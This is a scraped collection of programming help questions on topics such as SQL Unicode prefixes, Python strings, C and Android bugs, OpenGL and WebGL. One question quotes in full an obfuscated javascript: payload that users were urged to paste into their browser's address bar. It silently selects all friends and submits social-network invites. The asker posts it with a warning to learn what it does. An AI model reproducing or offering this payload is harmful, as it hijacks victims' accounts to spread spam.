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• Is the Unicode prefix N still needed in SQL Compact Edition?

  - by Dave

  At least in previous versions of SQL Server, you had to prefix Unicode string constants with an "N" to make them be treated as Unicode. Thus, select foo from bar where fizz = N'buzz' (See "Server-Side Programming with Unicode" for SQL Server 2005 "from the horse's mouth" documentation.) We have an application that is using SQL Compact Edition and I am wondering if that is still necessary. From the testing I am doing, it appears to be unneeded. That is, the following SQL statements both behave identically in SQL CE, but the second one fails in SQL Server 2005: select foo from bar where foo=N'???' select foo from bar where foo='???' (I hope I'm not swearing in some language I don't know about...) I'm wondering if that is because all strings are treated as Unicode in SQL CE, or if perhaps the default code page is now Unicode-aware. If anyone has seen any official documentation, either yea or nay, I'd appreciate it. I know I could go the safe route and just add the "N"'s, but there's a lot of code that will need changed, and if I don't need to, I don't want to! Thanks for your help!

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• How to transform vertical table into horizontal table?

  - by avivo

  Hello, I have one table Person: Id Name 1 Person1 2 Person2 3 Person3 And I have its child table Profile: Id PersonId FieldName Value 1 1 Firstname Alex 2 1 Lastname Balmer 3 1 Email [email protected] 4 1 Phone +1 2 30004000 And I want to get data from these two tables in one row like this: Id Name Firstname Lastname Email Phone 1 Person1 Alex Balmer [email protected] +1 2 30004000 What is the most optimized query to get these vertical (key, value) values in one row like this? Now I have a problem that I done four joins of child table to parent table because I need to get these four fields. Some optimization is for sure possible. I would like to be able to modify this query in easy way when I add new field (key,value). What is the best way to do this? To create some StoreProcedure? I would like to have strongly types in my DB layer (C#) and using LINQ (when programming) so it means when I add some new Key, Value pair in Profile table I would like to do minimal modifications in DB and C# if possible. Actually I am trying to get some best practices in this case.

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• Python and Unicode: How everything should be Unicode

  - by A A

  Forgive if this a long a question: I have been programming in Python for around six months. Self taught, starting with the Python tutorial and then SO and then just using Google for stuff. Here is the sad part: No one told me all strings should be Unicode. No, I am not lying or making this up, but where does the tutorial mention it? And most examples also I see just make use of byte strings, instead of Unicode strings. I was just browsing and came across this question on SO, which says how every string in Python should be a Unicode string. This pretty much made me cry! I read that every string in Python 3.0 is Unicode by default, so my questions are for 2.x: Should I do a: print u'Some text' or just print 'Text' ? Everything should be Unicode, does this mean, like say I have a tuple: t = ('First', 'Second'), it should be t = (u'First', u'Second')? I read that I can do a from __future__ import unicode_literals and then every string will be a Unicode string, but should I do this inside a container also? When reading/ writing to a file, I should use the codecs module. Right? Or should I just use the standard way or reading/ writing and encode or decode where required? If I get the string from say raw_input(), should I convert that to Unicode also? What is the common approach to handling all of the above issues in 2.x? The from __future__ import unicode_literals statement? Sorry for being a such a noob, but this changes what I have been doing for a long time and so clearly I am confused.

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• SQL Express Edition, SQL Compact Editin and SQLCMD for learning purpose

  - by Mil

  Hi, I want to learn programming in SQL from some SQL tutorial sites of which I heard of here but I need some environment for executing query's. I think I have both SQL CE and SQL EE installed on my computer but I have some doubts about these DBMS and I don't know exactly how to use SQLCMD utility so I hope someone here will have time and will to explain me the following: Since running sqlcmd -S.\sqlexpress at command prompt command gives "1" prompt I assume I have SQL express installed but anyway how can I be sure what I have installed on my machine since I cannot find in installed programs SQL Express Edition name? Can I ship and use database with my C# (VC# Express) application which was created with SQL EE (embedded?)? How can use sqlcmd for learning SQL, that is by issuing commands like create, use, select..., again emphasize is on learning SQL I do not want to run scripts but use interactive command prompt like with MySQL (since I want to use SQL I would pretty much like to avoid graphical tools for DBMS)? Please tell me if you have some other advice regarding as to what should I better use in learning how to program in SQL or should I stick with the above for now. Thanks in advance.

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• FILE* issue PPU side code

  - by Cristina

  We are working on a homework on CELL programming for college and their feedback response to our questions is kinda slow, thought i can get some faster answers here. I have a PPU side code which tries to open a file passed down through char* argv[], however this doesn't work it cannot make the assignment of the pointer, i get a NULL. Now my first idea was that the file isn't in the correct directory and i copied in every possible and logical place, my second idea is that maybe the PPU wants this pointer in its LS area, but i can't deduce if that's the bug or not. So... My question is what am i doing wrong? I am working with a Fedora 7 SDK Cell, with Eclipse as an IDE. Maybe my argument setup is wrong tho he gets the name of the file correctly. Code on request: images_t *read_bin_data(char *name) { FILE *file; images_t *img; uint32_t *buffer; uint8_t buf; unsigned long fileLen; unsigned long i; //Open file file = (FILE*)malloc(sizeof(FILE)); file = fopen(name, "rb"); printf("[Debug]Opening file %s\n",name); if (!file) { fprintf(stderr, "Unable to open file %s", name); return NULL; } //....... } Main launch: int main(int argc,char* argv[]) { int i,img_width; int modif_this[4] __attribute__ ((aligned(16))) = {1,2,3,4}; images_t *faces, *nonfaces; spe_context_ptr_t ctxs[SPU_THREADS]; pthread_t threads[SPU_THREADS]; thread_arg_t arg[SPU_THREADS]; //intializare img_width img_width = atoi(argv[1]); printf("[Debug]Img size is %i\n",img_width); faces = read_bin_data(argv[3]); //....... } Thanks for the help.

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• How 'terse' is too terse? -- Practical guidelines for expressing as much intent in as few characters

  - by Christopher Altman

  First, I love writing as little code as possible. I think, and please correct me, one of the golden rules of programming is to express your code in as few of character as possible while maintaining human readability. But I can get a little carried away. I can pack three or four lines into one statement, something like $startDate = $dateTime > time() ? mktime(0,0,0,date('m',time()-86400),date('d',time()*2),2011) : time(); (Note: this is a notional example) I can comprehend the above code when reading it. I prefer 'mushing' it all together because having less lines per page is a good thing to me. So my question: When writing code and thinking about how compact or terse you can express yourself, what are some guidelines you use? Do you write multiple lines because you think it helps other people? Do you write as little as possible, but use comments? Or do you always look for the way to write as little code as possible and enjoy the rewards of compact statements? (Just one slightly off topic comment: I love the Perl one-liners, but that is not what I am talking about here)

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• Why is this exception thrown in the visual studio C compiler?

  - by Shane Larson

  Hello. I am trying to get more adept and my C programming and I was attempting to test out displaying a character from the input stream while inside of the loop that is getting the character. I am using the getchar() method. I am getting an exception thrown at the time that the printf statement in my code is present. (If I comment out the printf line in this function, the exception is not thrown). Exception: Unhandled exception at 0x611c91ad (msvcr90d.dll) in firstOS.exe: 0xC0000005: Access violation reading location 0x00002573. Here is the code... Any thoughts? Thank you. PS. I am using the stdio.h library. /*getCommandPromptNew - obtains a string command prompt.*/ void getCommandPromptNew(char s[], int lim){ int i, c; for(i=0; i < lim-1 && (c=getchar())!=EOF && c!='\n'; ++i){ s[i] = c; printf('%s', c); } }

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• What's wrong with this jQuery fading gallery code?

  - by Meep3D

  So I am creating a fading gallery and am a bit of a noob to javascript (but not to programming). I have no idea what is wrong though. Here's the function in question: /* */ function show_next () { // Hide current $('.s_gallery_images li.s_current').fadeTo(200, .2); $('.s_gallery_images li.s_current').css("border","1px green solid"); // if ($('.s_gallery_images li').hasClass ('.s_current')) { console.log ('Incrementing existing'); // Class already exists $('.s_current:first').removeClass('s_current').next().addClass('s_current'); // Was that the last one? if ($('.s_gallery_images li').hasClass ('.s_current')) { console.log ('Current found'); } else { // Class doesn't exist - add to first $('.s_gallery_images li:first').addClass ('.s_current'); console.log ('Wrapping'); } } else { console.log ('Adding new class'); // Class doesn't exist - add to first $('.s_gallery_images li:first').addClass ('.s_current'); } // Show new marked item $('.s_gallery_images li.s_current').fadeTo(200, .8); } The HTML is a very simple: <ul class="s_gallery_images"> <li><img src="imagename" alt="alt" /></li> <li><img src="imagename" alt="alt" /></li> <li><img src="imagename" alt="alt" /></li> </ul> And it displays the list and the images fine. I am using firebugs console.log for debugging, plus have a class set for s_current (bright border) but nothing happens at all. The firebug console log says: Adding New Class Incrementing Existing Current Found Incrementing Existing Current Found Incrementing Existing Current Found Incrementing Existing Current Found ... to infinity The function is called on a setInterval timer, and as far as I can tell it should be working (and I have done something similar before), but it just isn't happening :(

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• No resource type specified (at 'id' with value '@+id\st')

  - by Refaat

  I'm new at android programming, I'm now trying to make some buttons, I configured these buttons using the following code: The MainActivity class : public class MainActivity extends Activity { /** Called when the activity is first created. */ Button st,nd,center; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); st = (Button)findViewById(R.id.st); st = (Button)findViewById(R.id.center); st = (Button)findViewById(R.id.nd); } } and the XML Layout: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/background" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="Hello from animation!!" /> <button android:layout_width="100dp" android:layout_height="50dp" android:text="1st half" android:id="@+id\st" /> // and the other two points defined the same way </LinearLayout> And i got that syntax error: error: Error: No resource type specified (at 'id' with value '@+id\st'). // and the same error with the other two buttons HINT: The R class is imported and accessible from the MainActivity class but it can't read R.id.

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• Why does this data YYYY-MM-DD regex fail in Java?

  - by ProfessionalAmateur

  Hello StackOverFlow, My first question and Im excited... I've lurked since go-live and love the site, however I apologize for any newbie errors, formatting, etc... I'm attempting to validate the format of a string field that contains a date in Java. We will receive the date in a string, I will validate its format before parsing it into a real Date object. The format being passed in is in the YYYY-MM-DD format. However I'm stuck on one of my tests, if I pass in "1999-12-33" the test will fail (as it should with a day number 33) with this incomplete pattern: ((19|20)\\d{2})-([1-9]|0[1-9]|1[0-2])-([12][0-9]|3[01]) However as soon as I add the characters in bold below it passes the test (but should not) ((19|20)\\d{2})-([1-9]|0[1-9]|1[0-2])-(0[1-9]|[1-9]|[12][0-9]|3[01]) *additional note, I know I can change the 0[1-9]|[1-9] into 0?[1-9] but I wanted to break everything down to its most simple format to try and find why this isn't working. Here is the scrap test I've put together to run through all the different date scenarios: import java.util.regex.Matcher; import java.util.regex.Pattern; public class scrapTest { public scrapTest() { } public static void main(String[] args) { scrapTest a = new scrapTest(); boolean flag = a.verfiyDateFormat("1999-12-33"); } private boolean verfiyDateFormat(String dateStr){ Pattern datePattern = Pattern.compile("((19|20)\\d{2})-([1-9]|0[1-9]|1[0-2])-(0[1-9]|[1-9]|[12][0-9]|3[01])"); Matcher dateMatcher = datePattern.matcher(dateStr); if(!dateMatcher.find()){ System.out.println("Invalid date format!!! -> " + dateStr); return false; } System.out.println("Valid date format."); return true; } } Ive been programming for ~10 years but extremely new to Java, so please feel free to explain anything as elementary as you see fit.

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• Using GCC (MinGW) to compile OpenGL on Windows

  - by Casey

  I've searched on google and haven't been able to come up with a solution. I would like to compile some OpenGL programming using GCC. In the GL folder in GCC I have the following headers: gl.h glext.h glu.h Then in my system32 file I have the following .dll opengl32.dll glu32.dll glut32.dll If I wanted to write a simple OpenGL "Hello World" and link and compile with GCC, what is the correct process? I'm attempting to use this code: #include <GL/gl.h> #include <GL/glut.h> void display() { glClear(GL_COLOR_BUFFER_BIT); glFlush(); } int main(int argc, char **argv) { glutInit(&argc, argv); glutInitWindowSize(512,512); glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB); glutCreateWindow("The glut hello world program"); glutDisplayFunc(display); glClearColor(0.0, 0.0, 0.0, 1.0); glutMainLoop(); // Infinite event loop return 0; } Thank you in advance for the help.

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• Returning an array of culture formatted dates C# MVC3

  - by user1875797

  I'm new to programming and trying to do an exercise that formats a date to the Thai culture in a variety of formats this is what I have for my code so far: public String[] FormatAsSpecified(DateTime theDate, String theCulture, String[] formats) { String[] dateResults = new String[formats.Length]; CultureInfo culture = CultureInfo.GetCultureInfo(theCulture); for (int i = 0; i < formats.Length; i++) { String culture_formatted_date = theDate.ToString(formats[i], culture); dateResults[i] = culture_formatted_date; } return dateResults; } This is the test method that goes with it: [TestMethod] public void FormatAsSpecifiedReturnsDateLiteralsInSpecifiedFormatForAllStandardFormatStrings() { //Arrange var controller = new DateController(); var theDate = new DateTime(2014, 2, 14, 9, 15, 32, 376); String theCulture = "th-TH"; // Array of all supported standard date and time format specifiers. String[] formats = { "d", "D", "f", "F", "g", "G", "m", "o", "r", "s", "t", "T", "u", "U", "Y" }; //Corresponding date literals for the standard Thai regional settings String[] expectedResults = {"14/2/2557" , "14 ?????????? 2557" , "14 ?????????? 2557 9:15" , "14 ?????????? 2557 9:15:32" , "14/2/2557 9:15" , "14/2/2557 9:15:32" , "14 ??????????" , "2014-02-14T09:15:32.3760000" , "Fri, 14 Feb 2014 09:15:32 GMT" , "2014-02-14T09:15:32" , "9:15" , "9:15:32" , "2014-02-14 09:15:32Z" , "??????????? 14 ?????????? 2014 9:15:32" , "?????????? 2557"}; //Act String[] actualResults = new String[15]; for (int i = 0; i < formats.Length; i++) { actualResults[i] = controller.FormatAsSpecified(theDate, theCulture, formats[i]); } //Assert CollectionAssert.AreEqual(expectedResults, actualResults); } I get an error in the test method at 'controller.FormatAsSpecified(theDate, theCulture, formats[i]);' that says "Argument 3, cannot convert from 'string' to 'string[]'" What am I doing wrong?

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• Method of transforming 3D vectors with a matrix

  - by Drew Noakes

  I've been doing some reading on transforming Vector3 with matrices, and am tossing up digging deeper into the math and coding this myself versus using existing code. For whatever reason my school curriculum never included matrices, so I'm filling a gap in my knowledge. Thankfully I only need a few simple things, I think. Context is that I'm programming a robot for the RoboCup 3D league. I'm coding it in C# but it'll have to run on Mono. Ideally I wouldn't use any existing graphics libraries for this (WinForms/WPF/XNA) as all I really need is a neat subset of matrix transformations. Specifically, I need translation and x/y/z rotations, and a way of combining multiple transformations into a single matrix. This will then be applied to my own Vector3 type to produce the transformed Vector3. I've read different advice about this. For example, some model the transformation with a 4x3 matrix, others with a 4x4 matrix. Also, some examples show that you need a forth value for the vector's matrix of 1. What happens to this value when it's included in the output? [1 0 0 0] [x y z 1] * [0 1 0 0] = [a b c d] [0 0 1 0] [2 4 6 1] The parts I'm missing are: What sizes my matrices should be Compositing transformations by multiplying the transformation matrices together Transforming 3D vectors with the resulting matrix As I mostly just want to get this running, any psuedo-code would be great. Information about what matrix values perform what transformations is quite clearly defined on many pages, so need not be discussed here unless you're very keen :)

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• Can't Display Bitmap of Higher Resolution than CDC area

  - by T. Jones

  Hi there dear gurus and expert coders. i am not gonna start with im a newbie and don't know much about image programming but unfortunately those are the facts :( I am trying to display an image from a bitmap pointer *ImageData which is of resolution 1392x1032. I am trying to draw that at an area of resolution or size 627x474. However, repeated trying doesnt seem to work. It works when I change the bitmap image I created from *ImageData width and height to resolution or size of around 627x474 I really do not know how to solve this after trying all possible solutions from various forums and google. pDC is a CDC* and memDC is a CDC initialized in an earlier method Anything uninitialized here was initialized in other methods. Here is my code dear humble gurus. Do provide me with guidance Yoda and Obi-Wan provided to Luke Skywalker. void DemoControl::ShowImage( void *ImageData ) { int Width; //Width of Image From Camera int Height; //Height of Image From Camera int m_DisplayWidth = 627 ;//width of rectangle area to display int m_DisplayHeight = 474;//height of rectangle area to display GetImageSize( &Width, &Height ) ; //this will return Width = 1392, Height 1032 CBitmap bitmap; bitmap.CreateBitmap(Width,Height,32,1,ImageData); CBitmap* pOldBitmap = memDC.SelectObject((CBitmap*)&bitmap); pDC->BitBlt(22, 24, 627, 474, &memDC, 0, 0, SRCCOPY); memDC.SelectObject((CBitmap*)pOldBitmap); ReleaseDC(pDC); }

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• wxpython: adding panel to wx.Frame disables/conflicts with wx.Frame's OnPaint?!

  - by sdaau

  Hi all, I just encountered this strange situation: I found an example, where wx.Frame's OnPaint is overridden, and a circle is drawn. Funnily, as soon as I add even a single panel to the frame, the circle is not drawn anymore - in fact, OnPaint is not called at all anymore ! Can anyone explain me if this is the expected behavior, and how to correctly handle a wx.Frame's OnPaint, if the wx.Frame has child panels ? Small code example is below.. Thanks in advance for any answers, Cheers! The code: #!/usr/bin/env python # http://www.linuxquestions.org/questions/programming-9/wxwidgets-wxpython-drawing-problems-with-onpaint-event-703946/ import wx class MainWindow(wx.Frame): def __init__(self, parent, title, size=wx.DefaultSize): wx.Frame.__init__(self, parent, wx.ID_ANY, title, wx.DefaultPosition, size) self.circles = list() self.displaceX = 30 self.displaceY = 30 circlePos = (self.displaceX, self.displaceY) self.circles.append(circlePos) ## uncommenting either only first, or both of ## the commands below, causes OnPaint *not* to be called anymore! #~ self.panel = wx.Panel(self, wx.ID_ANY) #~ self.mpanelA = wx.Panel(self.panel, -1, size=(200,50)) self.Bind(wx.EVT_PAINT, self.OnPaint) def OnPaint(self, e): print "OnPaint called" dc = wx.PaintDC(self) dc.SetPen(wx.Pen(wx.BLUE)) dc.SetBrush(wx.Brush(wx.BLUE)) # Go through the list of circles to draw all of them for circle in self.circles: dc.DrawCircle(circle[0], circle[1], 10) def main(): app = wx.App() win = MainWindow(None, "Draw delayed circles", size=(620,460)) win.Show() app.MainLoop() if __name__ == "__main__": main()

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• function objects versus function pointers

  - by kumar_m_kiran

  Hi All, I have two questions related to function objects and function pointers, Question : 1 When I read the different uses sort algorithm of STL, I see that the third parameter can be a function objects, below is an example class State { public: //... int population() const; float aveTempF() const; //... }; struct PopLess : public std::binary_function<State,State,bool> { bool operator ()( const State &a, const State &b ) const { return popLess( a, b ); } }; sort( union, union+50, PopLess() ); Question : Now, How does the statement, sort(union, union+50,PopLess()) work? PopLess() must be resolved into something like PopLess tempObject.operator() which would be same as executing the operator () function on a temporary object. I see this as, passing the return value of overloaded operation i.e bool (as in my example) to sort algorithm. So then, How does sort function resolve the third parameter in this case? Question : 2 Question Do we derive any particular advantage of using function objects versus function pointer? If we use below function pointer will it derive any disavantage? inline bool popLess( const State &a, const State &b ) { return a.population() < b.population(); } std::sort( union, union+50, popLess ); // sort by population PS : Both the above references(including example) are from book "C++ Common Knowledge: Essential Intermediate Programming" by "Stephen C. Dewhurst". I was unable to decode the topic content, thus have posted for help. Thanks in advance for your help.

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• What does this code do

  - by Wardy

  Ok someone who happens to be a good friend of mine is sending me some odd emails lately one of which was a link to a page that asks you to copy and paste this in to your address bar in your browser then execute it ... javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); Not being totally with it when it comes to low level programming i'm curious as to what the email is asking here ... PLEASE DO NOT RUN THIS CODE UNLESS YOU ARE HAPPY THAT IT WILL NOT BREAK ANYTHING. But ... Could someone tell me what it does?

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• Need guidelines for optimizing WebGL performance by minimizing shader changes

  - by brainjam

  I'm trying to get an idea of the practicality of WebGL for rendering large architectural interior scenes, consisting of 100K's of triangles. These triangles are distributed over many objects, and there are many materials in the scene. On the other hand, there are no moving parts. And the materials tend to be fairly simple, mostly based on texture maps. There is a lot of texture map sharing .. for example all the chairs in scene will share a common map. There is also some multitexturing - up to three textures overlaid in a material. I've been doing a little experimentation and reading, and gather that frequently switching materials during a rendering pass will slow things down. For example, a scene with 200K triangles will have significant performance differences, depending on whether there are 10 or 1000 objects, assuming that each time an object is displayed a new material is set up. So it seems that if performance is important the scene should be sorted by materials so as to minimize material switching. What I'm looking for is guidelines on how to think of the overhead of various state changes, and where do I get the biggest bang for the buck. For example, what are the relative performance costs of, say, gl.useProgram(), gl.uniformMatrix4fv(), gl.drawElements() should I try to write ubershaders to minimize shader switching? should I try to aggregate geometry to minimize the number of gl.drawElements() calls I realize that mileage may vary depending on browser, OS, and graphics hardware. And I'm also not looking for heroic measures. Just some guidelines from people who have already had some experience in making scenes fast. I'll add that while I've had some experience with fixed-pipeline OpenGL programming in the past, I'm rather new to the WebGL/OpenGL ES 2.0 way of doing things.

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• How to debug PHP?

  - by NutMotion

  Anyone's been trying himself at object oriented programming ? Most probably every developer I guess:D I for one have never studied OO design patterns thoroughly, and trying to put it all together now does prove at times thrilling, and many times frustrating also. Even more so when trying to do it in : PHP! All-in-all, my boss asked me to add some Database persistence functions to her server, but most of all, she asked me to translate her already working procedural code into a working Object Oriented code. Here I am, still standing on my PHP OO project. I'm (already) fed up with this "file logging only" PHP capability. I believe there must be some (free or not too much expansive) PHP debugging utility ? I've heard about Zend Studio and PHPEd so far, which didn't quite do the trick for whatever reasons. WIRCW("Which I don't Remember Correctly Why" lol) What say yé? on debugging PHP ? Is there a tool that provides a good debug mode? what's more, don't forget I'm not speaking about the classical web Request/response model. Talking about a debugging facility which can enable you to trigger a web service (aka client request) and go into debug mode on the SOAP web service side. Thks for any input.

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• Is Form validation and Business validation too much?

  - by Robert Cabri

  I've got this question about form validation and business validation. I see a lot of frameworks that use some sort of form validation library. You submit some values and the library validates the values from the form. If not ok it will show some errors on you screen. If all goes to plan the values will be set into domain objects. Here the values will be or, better said, should validated (again). Most likely the same validation in the validation library. I know 2 PHP frameworks having this kind of construction Zend/Kohana. When I look at programming and some principles like Don't Repeat Yourself (DRY) and single responsibility principle (SRP) this isn't a good way. As you can see it validates twice. Why not create domain objects that do the actual validation. Example: Form with username and email form is submitted. Values of the username field and the email field will be populated in 2 different Domain objects: Username and Email class Username {} class Email {} These objects validate their data and if not valid throw an exception. Do you agree? What do you think about this aproach? Is there a better way to implement validations? I'm confused about a lot of frameworks/developers handling this stuff. Are they all wrong or am I missing a point? Edit: I know there should also be client side kind of validation. This is a different ballgame in my Opinion. If You have some comments on this and a way to deal with this kind of stuff, please provide.

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• Simulated Annealing and Yahtzee!

  - by Jasie

  I've picked up Programming Challenges and found a Yahtzee! problem which I will simplify: There are 13 scoring categories There are 13 rolls by a player (comprising a play) Each roll must fit in a distinct category The goal is to find the maximum score for a play (the optimal placement of rolls in categories); score(play) returns the score for a play Brute-forcing to find the maximum play score requires 13! (= 6,227,020,800) score() calls. I choose simulated annealing to find something close to the highest score, faster. Though not deterministic, it's good enough. I have a list of 13 rolls of 5 die, like: ((1,2,3,4,5) #1 (1,2,6,3,4),#2 ... (1,4,3,2,2) #13 ) And a play (1,5,6,7,2,3,4,8,9,10,13,12,11) passed into score() returns a score for that play's permutation. How do I choose a good "neighboring state"? For random-restart, I can simply choose a random permutation of nos. 1-13, put them in a vector, and score them. In the traveling salesman problem, here's an example of a good neighboring state: "The neighbours of some particular permutation are the permutations that are produced for example by interchanging a pair of adjacent cities." I have a bad feeling about simply swapping two random vector positions, like so: (1,5,6,7, 2 , 3,4,8,9,10, 13, 12,11) # switch 2 and 13 (1,5,6,7, 13, 3,4,8,9,10, 2 , 12,11) # now score this one But I have no evidence and don't know how to select a good neighboring state. Anyone have any ideas on how to pick good neighboring states?

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• How to draw some lines in a view element defined in the xml layout

  - by Nils

  Hello, I have problems drawing some simple lines in a view object (Android programming). First I created the layout with the view element(kind of painting area) in it (XML file). [...] < View android:id="@+id/viewmap" android:layout_width="572px" android:layout_height="359px" android:layout_x="26px" android:layout_y="27px" [...] ... and tried then to access it to draw some lines. Unfortunately the program is running and other UI elements like buttons are displayed, but I can't see the drawings. What's wrong ? [...] viewmap = (View) findViewById(R.id.viewmap); Canvas canvas = new Canvas(); viewmap.draw(canvas); Paint p = new Paint(); p.setColor(Color.BLUE); p.setStyle(Paint.Style.STROKE); canvas.drawColor(Color.WHITE); p.setColor(Color.BLUE); canvas.drawLine(4, 4, 29, 5, p); p.setColor(Color.RED); viewmap.draw(canvas); [...] Thanks for help :) !

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• Access violations in strange places when using Windows file dialogs

  - by Robert Oschler

  A long time ago I found out that I was getting access violations in my code due to the use of the Delphi Open File and/or Save File dialogs, which encapsulate the Windows dialogs. I asked some questions on a few forums and I was told that it may have been due to the way some programs add hooks to the shell system that result in DLLs getting injected in every process, some of which can cause havoc with a program. For the record, the programming environment I use is Delphi 6 Professional running on Windows XP 32-bit. At the time I got around it by not using Delphi's Dialog components and instead calling straight into comdlg32.dll. This solved the problem wonderfully. Today I was working with memory mapped files for the first time and sure enough, access violations started cropping up in weird parts of the code. I tried my comdlg32.dll direct calls and this time it didn't help. To isolate the problem as a test I created a list box with the exact same files I was using during testing. These are the exact same test files I was selecting from an Open File dialog and then launching my memory mapped file with. I set things up so that by clicking on a file in the list box, I would use that file in my memory mapped file test instead of calling into a comdlg32.dll dialog function to select a test file. Again, the access violatons vanished. To show you how dramatic a fix it was I went from experiencing an access violation within 1 to 3 trials to none at all. Unfortunately, it's going to bite me later on of course when I do need to use file dialogs. Has anyone else dealt with this issue too and found the real culprit? Did any of you find a solution I could use to fix this problem instead of dancing around it like I am now? Thanks in advance.

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• super light software development process

  - by Walty

  hi, For the development process I have involved so far, most have teams of SINGLE member, or occasionally two. We used python + django for the major development, the development process is actually very fast, and we do have code reviews, design pattern discussions, and constant refactoring. Though team size is small, I do think there are some development processes / best practices that could be enforced. For example, using svn would be definitely better than regular copy backup. I did read some articles & books about Agile, XP & continuous integration, I think they are nice, but still too heavy for this case (team of 1 or 2, and fast coding). For example, IMHO, with nice design pattern, and iterative development + refactoring, the TDD MIGHT be an overkill, or at least the overhead does not out-weight the advantages. And so is the pair programming. The automated testing is a nice idea, but it seems not technically feasible for every project. our current practices are: svn + milestone + code review I wonder if there are development processes / best practices specifically targeted on such super light teams? thanks.

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• Avoid loading unnecessary data from db into objects (web pages)

  - by GmGr

  Really newbie question coming up. Is there a standard (or good) way to deal with not needing all of the information that a database table contains loaded into every associated object. I'm thinking in the context of web pages where you're only going to use the objects to build a single page rather than an application with longer lived objects. For example, lets say you have an Article table containing id, title, author, date, summary and fullContents fields. You don't need the fullContents to be loaded into the associated objects if you're just showing a page containing a list of articles with their summaries. On the other hand if you're displaying a specific article you might want every field loaded for that one article and maybe just the titles for the other articles (e.g. for display in a recent articles sidebar). Some techniques I can think of: Don't worry about it, just load everything from the database every time. Have several different, possibly inherited, classes for each table and create the appropriate one for the situation (e.g. SummaryArticle, FullArticle). Use one class but set unused properties to null at creation if that field is not needed and be careful. Give the objects access to the database so they can load some fields on demand. Something else? All of the above seem to have fairly major disadvantages. I'm fairly new to programming, very new to OOP and totally new to databases so I might be completely missing the obvious answer here. :)

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